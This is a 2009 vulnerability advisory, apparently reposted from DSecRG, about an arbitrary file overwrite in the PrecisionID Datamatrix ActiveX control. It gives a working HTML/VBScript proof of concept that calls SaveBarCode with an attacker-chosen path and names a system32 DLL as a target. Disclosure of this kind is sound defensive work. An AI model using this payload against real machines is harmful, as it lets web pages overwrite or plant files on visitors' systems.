SecurityvulnsSECURITYVULNS:DOC:21559[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-030
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http://dsecrg.com/pages/vul/DSECRG-09-030.html
Application: PrecisionID activeX controls
Versions Affected:
Vendor URL: http://PrecisionID.com
Bugs: Arbitrary File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.0300.2009
Authors:
Digital Security Research Group [DSecRG] (research [at] dsec [dot]
ru)
Description
PrecisionID have activeX control DMATRIXLib.Datamatrix that can be used to overwrite any any file
in target system.
Details
This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to owervrite
any file on OS
Sub SaveBarCode (
ByVal path As String
)
Sub SaveEnhWMF (
ByVal path As String
)
Example:
<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid = "DMATRIXLib.Datamatrix"
argCount = 1
arg1="C:\sh2kerr.pwn"
target.SaveBarCode arg1
</script>
</html>
Solution
http://msdn.microsoft.com/en-us/library/aa751977.aspx
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